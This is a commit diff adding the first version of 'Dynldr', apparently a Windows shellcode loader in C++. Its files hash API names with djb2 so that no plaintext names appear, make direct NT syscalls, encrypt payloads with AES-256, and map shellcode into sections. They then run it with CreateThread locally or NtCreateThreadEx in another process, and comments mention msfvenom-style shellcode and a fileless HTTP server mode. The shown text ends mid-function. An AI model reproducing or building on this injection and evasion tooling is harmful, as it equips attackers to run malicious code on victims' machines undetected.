Initial version Dynldr modules - V1.0.1

This commit is contained in:
(Havox)
2026-07-10 11:56:50 -07:00
committed by GitHub
parent b39cd70a0d
commit c3ba21aa32
30 changed files with 3564 additions and 3 deletions
+87
View File
@@ -0,0 +1,87 @@
#pragma once
#include <cstdint>
// djb2 — compile-time and runtime hash for module/export resolution.
// No plaintext API names required at call sites; only DWORD constants.
namespace Hashes {
constexpr std::uint32_t kSeed = 5381u;
constexpr std::uint32_t Djb2(const char* s) {
std::uint32_t h = kSeed;
while (*s) {
h = (h * 33u) + static_cast<unsigned char>(*s++);
}
return h;
}
constexpr std::uint32_t Djb2Lower(const char* s) {
std::uint32_t h = kSeed;
while (*s) {
char c = *s++;
if (c >= 'A' && c <= 'Z') {
c = static_cast<char>(c + 32);
}
h = (h * 33u) + static_cast<unsigned char>(c);
}
return h;
}
// --- Module hashes (lowercase basename) ---
constexpr std::uint32_t H_NTDLL_DLL = Djb2Lower("ntdll.dll");
constexpr std::uint32_t H_KERNEL32_DLL = Djb2Lower("kernel32.dll");
constexpr std::uint32_t H_LoadLibraryW = Djb2("LoadLibraryW");
constexpr std::uint32_t H_CreateThread = 0x7F08F451u; // api_hash verified
constexpr std::uint32_t H_WaitForSingleObject = Djb2("WaitForSingleObject");
constexpr std::uint32_t H_CloseHandle = Djb2("CloseHandle");
constexpr std::uint32_t H_CreateProcessW = Djb2("CreateProcessW");
constexpr std::uint32_t H_CreateRemoteThread = Djb2("CreateRemoteThread");
constexpr std::uint32_t H_ResumeThread = Djb2("ResumeThread");
constexpr std::uint32_t H_SearchPathW = Djb2("SearchPathW");
constexpr std::uint32_t H_OpenProcess = Djb2("OpenProcess");
constexpr std::uint32_t H_WS2_32_DLL = Djb2Lower("ws2_32.dll");
constexpr std::uint32_t H_BCRYPT_DLL = Djb2Lower("bcrypt.dll");
// --- NT exports (syscall targets) ---
constexpr std::uint32_t H_NtAllocateVirtualMemory = Djb2("NtAllocateVirtualMemory");
constexpr std::uint32_t H_NtProtectVirtualMemory = Djb2("NtProtectVirtualMemory");
constexpr std::uint32_t H_NtWriteVirtualMemory = Djb2("NtWriteVirtualMemory");
constexpr std::uint32_t H_NtFreeVirtualMemory = Djb2("NtFreeVirtualMemory");
constexpr std::uint32_t H_NtCreateSection = Djb2("NtCreateSection");
constexpr std::uint32_t H_NtMapViewOfSection = Djb2("NtMapViewOfSection");
constexpr std::uint32_t H_NtUnmapViewOfSection = Djb2("NtUnmapViewOfSection");
constexpr std::uint32_t H_NtOpenProcess = Djb2("NtOpenProcess");
constexpr std::uint32_t H_NtCreateThreadEx = Djb2("NtCreateThreadEx");
constexpr std::uint32_t H_NtClose = Djb2("NtClose");
constexpr std::uint32_t H_NtQuerySystemInformation = Djb2("NtQuerySystemInformation");
constexpr std::uint32_t H_NtCreateFile = Djb2("NtCreateFile");
constexpr std::uint32_t H_NtReadFile = Djb2("NtReadFile");
constexpr std::uint32_t H_NtQueryInformationProcess = Djb2("NtQueryInformationProcess");
// --- BCrypt (AES) — runtime-verified on MSVC x64 ---
constexpr std::uint32_t H_BCryptOpenAlgorithmProvider = 0x2A15DFDDu;
constexpr std::uint32_t H_BCryptCloseAlgorithmProvider = 0xFCD0CDC1u;
constexpr std::uint32_t H_BCryptGenerateSymmetricKey = 0xA81D472Au;
constexpr std::uint32_t H_BCryptDestroyKey = 0x7B16C8CCu;
constexpr std::uint32_t H_BCryptEncrypt = 0xCB04529Eu;
constexpr std::uint32_t H_BCryptDecrypt = 0x690BA834u;
constexpr std::uint32_t H_BCryptSetProperty = 0xE9049EEAu;
constexpr std::uint32_t H_BCryptGenRandom = 0x3A73C634u;
// --- Winsock (HTTP client/server) ---
constexpr std::uint32_t H_WSAStartup = Djb2("WSAStartup");
constexpr std::uint32_t H_WSACleanup = Djb2("WSACleanup");
constexpr std::uint32_t H_socket = Djb2("socket");
constexpr std::uint32_t H_connect = Djb2("connect");
constexpr std::uint32_t H_send = Djb2("send");
constexpr std::uint32_t H_recv = Djb2("recv");
constexpr std::uint32_t H_closesocket = Djb2("closesocket");
constexpr std::uint32_t H_bind = Djb2("bind");
constexpr std::uint32_t H_listen = Djb2("listen");
constexpr std::uint32_t H_accept = Djb2("accept");
constexpr std::uint32_t H_getaddrinfo = Djb2("getaddrinfo");
constexpr std::uint32_t H_freeaddrinfo = Djb2("freeaddrinfo");
constexpr std::uint32_t H_setsockopt = Djb2("setsockopt");
} // namespace Hashes
+141
View File
@@ -0,0 +1,141 @@
#include "log.hpp"
#include <cstring>
namespace Log {
namespace {
bool g_verbose = false;
bool g_serverVerbose = false;
void VPrint(const char* prefix, const char* fmt, va_list args) {
std::fprintf(stdout, "%s ", prefix);
std::vfprintf(stdout, fmt, args);
std::fprintf(stdout, "\n");
std::fflush(stdout);
}
void VPrintIf(bool enabled, const char* prefix, const char* fmt, va_list args) {
if (!enabled) {
return;
}
VPrint(prefix, fmt, args);
}
} // namespace
void SetVerbose(bool enabled) {
g_verbose = enabled;
}
void SetServerVerbose(bool enabled) {
g_serverVerbose = enabled;
}
bool IsVerbose() {
return g_verbose;
}
bool IsServerVerbose() {
return g_serverVerbose;
}
void Ok(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrint("[+]", fmt, args);
va_end(args);
}
void Warn(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrint("[!]", fmt, args);
va_end(args);
}
void Err(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrint("[x]", fmt, args);
va_end(args);
}
void Info(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[*]", fmt, args);
va_end(args);
}
void Dbg(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[-]", fmt, args);
va_end(args);
}
void Sys(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[@]", fmt, args);
va_end(args);
}
void Raw(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_verbose, "[@]", fmt, args);
va_end(args);
}
void Banner(const char* title) {
if (!g_verbose) {
return;
}
std::fprintf(stdout, "\n[@] === %s ===\n", title);
std::fflush(stdout);
}
void NtStatus(const char* tag, long status) {
if (!g_verbose) {
return;
}
std::fprintf(stdout, "[@] %s NTSTATUS=0x%08lX (%s)\n", tag,
static_cast<unsigned long>(status),
status >= 0 ? "SUCCESS" : "FAIL");
std::fflush(stdout);
}
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes) {
if (!g_verbose || !data || len == 0) {
return;
}
const auto* p = static_cast<const unsigned char*>(data);
const size_t n = len < maxBytes ? len : maxBytes;
std::fprintf(stdout, "[@] %s hex[%zu/%zu]: ", tag, n, len);
for (size_t i = 0; i < n; ++i) {
std::fprintf(stdout, "%02X ", p[i]);
}
if (len > maxBytes) {
std::fprintf(stdout, "...");
}
std::fprintf(stdout, "\n");
std::fflush(stdout);
}
void Srv(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
VPrintIf(g_serverVerbose, "[S]", fmt, args);
va_end(args);
}
void SrvBanner(const char* title) {
if (!g_serverVerbose) {
return;
}
std::fprintf(stdout, "\n[S] === %s ===\n", title);
std::fflush(stdout);
}
} // namespace Log
+34
View File
@@ -0,0 +1,34 @@
#pragma once
#include <cstdarg>
#include <cstdio>
#include <cstddef>
namespace Log {
// Two independent channels so --server --verbose does not dump loader/syscall noise,
// and loader --verbose does not spam server request logs.
void SetVerbose(bool enabled); // loader / injection / syscall path
void SetServerVerbose(bool enabled); // HTTP fileless server path only
bool IsVerbose();
bool IsServerVerbose();
// Always shown (normal + verbose)
void Ok(const char* fmt, ...); // [+] essential success
void Warn(const char* fmt, ...); // [!] warning
void Err(const char* fmt, ...); // [x] error
// Loader verbose only (--verbose on normal/fileless/enc)
void Info(const char* fmt, ...); // [*] step info
void Dbg(const char* fmt, ...); // [-] debug detail
void Sys(const char* fmt, ...); // [@] syscall / internals
void Raw(const char* fmt, ...); // [@] bare unstructured dump
void Banner(const char* title); // [@] section header
void NtStatus(const char* tag, long status);
void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes = 64);
// Server verbose only (--server ... --verbose)
void Srv(const char* fmt, ...); // [S] server step / request
void SrvBanner(const char* title); // [S] server section header
} // namespace Log
+110
View File
@@ -0,0 +1,110 @@
#pragma once
#include <Windows.h>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
using NTSTATUS = LONG;
// Additional NT constants not always in winternl.h
#ifndef SEC_COMMIT
#define SEC_COMMIT 0x08000000
#endif
#ifndef ViewShare
#define ViewShare 1
#endif
#ifndef ViewUnmap
#define ViewUnmap 2
#endif
#ifndef SystemProcessInformation
#define SystemProcessInformation 5
#endif
#ifndef PROCESS_ALL_ACCESS
#define PROCESS_ALL_ACCESS 0x001FFFFF
#endif
#ifndef OBJ_CASE_INSENSITIVE
#define OBJ_CASE_INSENSITIVE 0x00000040L
#endif
typedef struct _UNICODE_STRING_NT {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_NT, *PUNICODE_STRING_NT;
typedef struct _OBJECT_ATTRIBUTES_NT {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING_NT ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES_NT, *POBJECT_ATTRIBUTES_NT;
typedef struct _CLIENT_ID_NT {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID_NT, *PCLIENT_ID_NT;
typedef struct _IO_STATUS_BLOCK_NT {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK_NT, *PIO_STATUS_BLOCK_NT;
// Process enumeration (SystemProcessInformation)
typedef struct _SYSTEM_PROCESS_INFORMATION_NT {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING_NT ImageName;
LONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PagefileUsage;
ULONG_PTR PeakPagefileUsage;
ULONG_PTR WorkingSetSize;
ULONG_PTR PeakWorkingSetSize;
ULONG_PTR QuotaPagedPoolUsage;
ULONG_PTR QuotaPeakPagedPoolUsage;
ULONG_PTR QuotaNonPagedPoolUsage;
ULONG_PTR QuotaPeakNonPagedPoolUsage;
ULONG_PTR PagefileUsage2;
ULONG_PTR PeakPagefileUsage2;
ULONG_PTR PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION_NT, *PSYSTEM_PROCESS_INFORMATION_NT;
inline void InitObjectAttributes(
POBJECT_ATTRIBUTES_NT p,
PUNICODE_STRING_NT name,
ULONG attributes,
HANDLE root,
PVOID security)
{
p->Length = sizeof(OBJECT_ATTRIBUTES_NT);
p->RootDirectory = root;
p->Attributes = attributes;
p->ObjectName = name;
p->SecurityDescriptor = security;
p->SecurityQualityOfService = nullptr;
}
+312
View File
@@ -0,0 +1,312 @@
#include "aes_crypto.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/nt_types.hpp"
#include "../common/log.hpp"
#include <bcrypt.h>
#include <fstream>
#include <cstring>
namespace AesCrypto {
namespace {
using BCryptOpenAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG);
using BCryptCloseAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, ULONG);
using BCryptGenerateSymmetricKey_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG);
using BCryptDestroyKey_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE);
using BCryptEncrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
using BCryptDecrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
using BCryptSetProperty_t = NTSTATUS(WINAPI*)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG);
using BCryptGenRandom_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
struct BcryptApi {
BCryptOpenAlgorithmProvider_t Open = nullptr;
BCryptCloseAlgorithmProvider_t Close = nullptr;
BCryptGenerateSymmetricKey_t GenKey = nullptr;
BCryptDestroyKey_t DestroyKey = nullptr;
BCryptEncrypt_t Encrypt = nullptr;
BCryptDecrypt_t Decrypt = nullptr;
BCryptSetProperty_t SetProperty = nullptr;
BCryptGenRandom_t GenRandom = nullptr;
bool loaded = false;
};
bool LoadBcrypt(BcryptApi& api) {
if (api.loaded) {
return true;
}
api.Open = reinterpret_cast<BCryptOpenAlgorithmProvider_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptOpenAlgorithmProvider));
api.Close = reinterpret_cast<BCryptCloseAlgorithmProvider_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptCloseAlgorithmProvider));
api.GenKey = reinterpret_cast<BCryptGenerateSymmetricKey_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenerateSymmetricKey));
api.DestroyKey = reinterpret_cast<BCryptDestroyKey_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDestroyKey));
api.Encrypt = reinterpret_cast<BCryptEncrypt_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptEncrypt));
api.Decrypt = reinterpret_cast<BCryptDecrypt_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDecrypt));
api.SetProperty = reinterpret_cast<BCryptSetProperty_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptSetProperty));
// BCryptGenRandom is in bcrypt.dll but not in our hash table — resolve by adding hash
api.GenRandom = reinterpret_cast<BCryptGenRandom_t>(
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenRandom));
api.loaded = api.Open && api.Close && api.GenKey && api.DestroyKey &&
api.Encrypt && api.Decrypt && api.SetProperty && api.GenRandom;
return api.loaded;
}
} // namespace
bool GenerateKeyMaterial(KeyMaterial& out) {
Log::Dbg("AES: GenerateKeyMaterial (BCryptGenRandom system RNG)");
BcryptApi api{};
if (!LoadBcrypt(api)) {
Log::Dbg("AES: bcrypt API resolve failed");
return false;
}
out.key.resize(32);
out.iv.resize(16);
// BCryptGenRandom with NULL handle requires BCRYPT_USE_SYSTEM_PREFERRED_RNG on Win8+.
constexpr ULONG kSystemRng = 0x00000002;
if (!NT_SUCCESS(api.GenRandom(nullptr, out.key.data(), static_cast<ULONG>(out.key.size()), kSystemRng)) ||
!NT_SUCCESS(api.GenRandom(nullptr, out.iv.data(), static_cast<ULONG>(out.iv.size()), kSystemRng))) {
Log::Dbg("AES: GenRandom failed");
return false;
}
Log::Dbg("AES: key=%zu bytes iv=%zu bytes", out.key.size(), out.iv.size());
return true;
}
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext) {
Log::Dbg("AES Encrypt: plain=%zu key=%zu iv=%zu mode=AES-256-CBC",
plaintext.size(), km.key.size(), km.iv.size());
if (km.key.size() != 32 || km.iv.size() != 16 || plaintext.empty()) {
Log::Dbg("AES Encrypt: bad args");
return false;
}
BcryptApi api{};
if (!LoadBcrypt(api)) {
Log::Dbg("AES Encrypt: bcrypt API resolve failed");
return false;
}
BCRYPT_ALG_HANDLE hAlg = nullptr;
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
return false;
}
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCRYPT_KEY_HANDLE hKey = nullptr;
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
api.Close(hAlg, 0);
return false;
}
std::vector<BYTE> ivWork = km.iv;
ULONG cipherLen = 0;
api.Encrypt(hKey, const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
nullptr, 0, &cipherLen, BCRYPT_BLOCK_PADDING);
ciphertext.resize(cipherLen);
ULONG written = 0;
NTSTATUS st = api.Encrypt(
hKey,
const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
nullptr,
ivWork.data(), static_cast<ULONG>(ivWork.size()),
ciphertext.data(), static_cast<ULONG>(ciphertext.size()),
&written, BCRYPT_BLOCK_PADDING);
api.DestroyKey(hKey);
api.Close(hAlg, 0);
if (!NT_SUCCESS(st)) {
Log::Dbg("AES Encrypt: BCryptEncrypt failed NTSTATUS=0x%08lX",
static_cast<unsigned long>(st));
return false;
}
ciphertext.resize(written);
Log::Dbg("AES Encrypt OK: cipher=%zu bytes", ciphertext.size());
return true;
}
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext) {
Log::Dbg("AES Decrypt: cipher=%zu key=%zu iv=%zu mode=AES-256-CBC",
ciphertext.size(), km.key.size(), km.iv.size());
if (km.key.size() != 32 || km.iv.size() != 16 || ciphertext.empty()) {
Log::Dbg("AES Decrypt: bad args");
return false;
}
BcryptApi api{};
if (!LoadBcrypt(api)) {
Log::Dbg("AES Decrypt: bcrypt API resolve failed");
return false;
}
BCRYPT_ALG_HANDLE hAlg = nullptr;
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
return false;
}
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCRYPT_KEY_HANDLE hKey = nullptr;
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
api.Close(hAlg, 0);
return false;
}
std::vector<BYTE> ivWork = km.iv;
ULONG plainLen = 0;
api.Decrypt(hKey, const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
nullptr, 0, &plainLen, BCRYPT_BLOCK_PADDING);
plaintext.resize(plainLen);
ULONG written = 0;
NTSTATUS st = api.Decrypt(
hKey,
const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
nullptr,
ivWork.data(), static_cast<ULONG>(ivWork.size()),
plaintext.data(), static_cast<ULONG>(plaintext.size()),
&written, BCRYPT_BLOCK_PADDING);
api.DestroyKey(hKey);
api.Close(hAlg, 0);
if (!NT_SUCCESS(st)) {
Log::Dbg("AES Decrypt: BCryptDecrypt failed NTSTATUS=0x%08lX",
static_cast<unsigned long>(st));
return false;
}
plaintext.resize(written);
Log::Dbg("AES Decrypt OK: plain=%zu bytes", plaintext.size());
return true;
}
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km) {
std::vector<BYTE> blob;
auto appendU32 = [&](DWORD v) {
blob.push_back(static_cast<BYTE>(v & 0xFF));
blob.push_back(static_cast<BYTE>((v >> 8) & 0xFF));
blob.push_back(static_cast<BYTE>((v >> 16) & 0xFF));
blob.push_back(static_cast<BYTE>((v >> 24) & 0xFF));
};
appendU32(static_cast<DWORD>(km.key.size()));
blob.insert(blob.end(), km.key.begin(), km.key.end());
appendU32(static_cast<DWORD>(km.iv.size()));
blob.insert(blob.end(), km.iv.begin(), km.iv.end());
return blob;
}
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out) {
if (blob.size() < 8) {
return false;
}
size_t off = 0;
auto readU32 = [&]() -> DWORD {
DWORD v = blob[off] | (blob[off + 1] << 8) | (blob[off + 2] << 16) | (blob[off + 3] << 24);
off += 4;
return v;
};
const DWORD keyLen = readU32();
if (off + keyLen > blob.size()) {
return false;
}
out.key.assign(blob.begin() + off, blob.begin() + off + keyLen);
off += keyLen;
if (off + 4 > blob.size()) {
return false;
}
const DWORD ivLen = readU32();
if (off + ivLen > blob.size()) {
return false;
}
out.iv.assign(blob.begin() + off, blob.begin() + off + ivLen);
return out.key.size() == 32 && out.iv.size() == 16;
}
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath) {
std::ifstream in(inputPath, std::ios::binary | std::ios::ate);
if (!in.is_open()) {
return false;
}
const auto size = in.tellg();
in.seekg(0);
std::vector<BYTE> plain(static_cast<size_t>(size));
if (!in.read(reinterpret_cast<char*>(plain.data()), size)) {
return false;
}
in.close();
KeyMaterial km{};
if (!GenerateKeyMaterial(km)) {
return false;
}
std::vector<BYTE> cipher;
if (!Encrypt(plain, km, cipher)) {
return false;
}
outEncPath = inputPath + L".enc";
outKeyPath = inputPath + L".key";
std::ofstream enc(outEncPath, std::ios::binary);
std::ofstream key(outKeyPath, std::ios::binary);
if (!enc.is_open() || !key.is_open()) {
return false;
}
enc.write(reinterpret_cast<const char*>(cipher.data()), cipher.size());
auto packed = PackKeyMaterial(km);
key.write(reinterpret_cast<const char*>(packed.data()), packed.size());
return true;
}
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
std::vector<BYTE>& plaintext) {
std::ifstream enc(encPath, std::ios::binary | std::ios::ate);
std::ifstream key(keyPath, std::ios::binary | std::ios::ate);
if (!enc.is_open() || !key.is_open()) {
return false;
}
std::vector<BYTE> cipher(static_cast<size_t>(enc.tellg()));
std::vector<BYTE> packed(static_cast<size_t>(key.tellg()));
enc.seekg(0);
key.seekg(0);
enc.read(reinterpret_cast<char*>(cipher.data()), cipher.size());
key.read(reinterpret_cast<char*>(packed.data()), packed.size());
KeyMaterial km{};
if (!UnpackKeyMaterial(packed, km)) {
return false;
}
return Decrypt(cipher, km, plaintext);
}
} // namespace AesCrypto
+33
View File
@@ -0,0 +1,33 @@
#pragma once
#include <Windows.h>
#include <vector>
#include <cstdint>
#include <string>
namespace AesCrypto {
struct KeyMaterial {
std::vector<BYTE> key; // 32 bytes (AES-256)
std::vector<BYTE> iv; // 16 bytes (CBC block)
};
// Generate cryptographically random key + IV via BCryptGenRandom (resolved dynamically).
bool GenerateKeyMaterial(KeyMaterial& out);
// AES-256-CBC encrypt/decrypt using BCrypt (all APIs hash-resolved).
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext);
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext);
// Pack key+IV for server transport: [4 keyLen][key][4 ivLen][iv]
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km);
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out);
// Encrypt file to .enc + sidecar key blob (for --enc AES mode).
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath);
// Read encrypted payload + key from disk.
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
std::vector<BYTE>& plaintext);
} // namespace AesCrypto
+237
View File
@@ -0,0 +1,237 @@
#include "section_map.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include "../common/log.hpp"
#include <cstring>
#include <iostream>
namespace SectionMap {
SIZE_T PageAlign(SIZE_T size) {
const SIZE_T page = 4096;
return (size + page - 1) & ~(page - 1);
}
bool StageLocal(
TartarusGate::SyscallTable& sc,
const std::vector<BYTE>& shellcode,
MappedRegion& out)
{
Log::Banner("Section Map StageLocal");
if (!sc.initialized || shellcode.empty()) {
Log::Dbg("StageLocal abort: initialized=%d empty=%d",
sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0);
return false;
}
out = {};
LARGE_INTEGER maxSize{};
maxSize.QuadPart = static_cast<LONGLONG>(PageAlign(shellcode.size()));
Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT",
maxSize.QuadPart);
HANDLE hSection = nullptr;
NTSTATUS st = sc.NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
nullptr,
&maxSize,
PAGE_READWRITE,
SEC_COMMIT,
nullptr);
Log::NtStatus("NtCreateSection", st);
if (!NT_SUCCESS(st) || !hSection) {
return false;
}
Log::Sys("section handle=%p", hSection);
PVOID localView = nullptr;
SIZE_T viewSize = 0;
Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE",
static_cast<size_t>(PageAlign(shellcode.size())));
st = sc.NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&localView,
0,
PageAlign(shellcode.size()),
nullptr,
&viewSize,
ViewShare,
0,
PAGE_READWRITE);
Log::NtStatus("NtMapViewOfSection", st);
if (!NT_SUCCESS(st) || !localView) {
sc.NtClose(hSection);
return false;
}
Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast<size_t>(viewSize));
std::memcpy(localView, shellcode.data(), shellcode.size());
Log::Dbg("copied %zu shellcode bytes into view", shellcode.size());
// W^X: transition mapped view to RX.
ULONG oldProt = 0;
PVOID protBase = localView;
SIZE_T protSize = viewSize;
Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView);
st = sc.NtProtectVirtualMemory(
GetCurrentProcess(),
&protBase,
&protSize,
PAGE_EXECUTE_READ,
&oldProt);
Log::NtStatus("NtProtectVirtualMemory", st);
if (!NT_SUCCESS(st)) {
sc.NtUnmapViewOfSection(GetCurrentProcess(), localView);
sc.NtClose(hSection);
return false;
}
Log::Dbg("oldProt=0x%08lX", static_cast<unsigned long>(oldProt));
out.section = hSection;
out.localView = localView;
out.viewSize = viewSize;
return true;
}
bool MapRemote(
TartarusGate::SyscallTable& sc,
HANDLE targetProcess,
MappedRegion& region)
{
if (!sc.initialized || !region.section || region.mappedRemote) {
return false;
}
PVOID remoteView = nullptr;
SIZE_T viewSize = region.viewSize;
NTSTATUS st = sc.NtMapViewOfSection(
region.section,
targetProcess,
&remoteView,
0,
0,
nullptr,
&viewSize,
1,
0,
PAGE_EXECUTE_READ);
if (!NT_SUCCESS(st) || !remoteView) {
return false;
}
region.remoteView = remoteView;
region.mappedRemote = true;
region.viewSize = viewSize;
return true;
}
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) {
Log::Banner("ExecuteLocal (CreateThread)");
if (!sc.initialized || !entry) {
Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p",
sc.initialized ? 1 : 0, entry);
return false;
}
// Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode.
auto* k32 = ApiResolver::GetKernel32();
if (!k32) {
Log::Dbg("kernel32 base null");
return false;
}
using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD);
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
auto* pCreateThread = reinterpret_cast<CreateThread_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CreateThread));
auto* pWait = reinterpret_cast<WaitForSingleObject_t>(
ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject));
auto* pClose = reinterpret_cast<CloseHandle_t>(
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
if (!pCreateThread || !pWait || !pClose) {
Log::Err("CreateThread hash resolve failed");
return false;
}
Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p",
entry, Hashes::H_CreateThread, pCreateThread);
DWORD tid = 0;
HANDLE hThread = pCreateThread(nullptr, 0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
if (!hThread) {
Log::Err("CreateThread failed (%lu)", GetLastError());
return false;
}
Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread);
const DWORD waitRc = pWait(hThread, INFINITE);
Log::Dbg("WaitForSingleObject rc=%lu", waitRc);
pClose(hThread);
Log::Dbg("thread exited, handle closed");
return true;
}
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) {
if (!sc.initialized || !targetProcess || !entry) {
return false;
}
HANDLE hThread = nullptr;
NTSTATUS st = sc.NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
nullptr,
targetProcess,
entry,
nullptr,
0,
0,
0,
0,
nullptr);
if (!NT_SUCCESS(st) || !hThread) {
return false;
}
sc.NtClose(hThread);
return true;
}
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) {
if (!sc.initialized) {
return;
}
if (region.localView) {
sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView);
region.localView = nullptr;
}
if (region.mappedRemote && region.remoteView && targetProcess) {
sc.NtUnmapViewOfSection(targetProcess, region.remoteView);
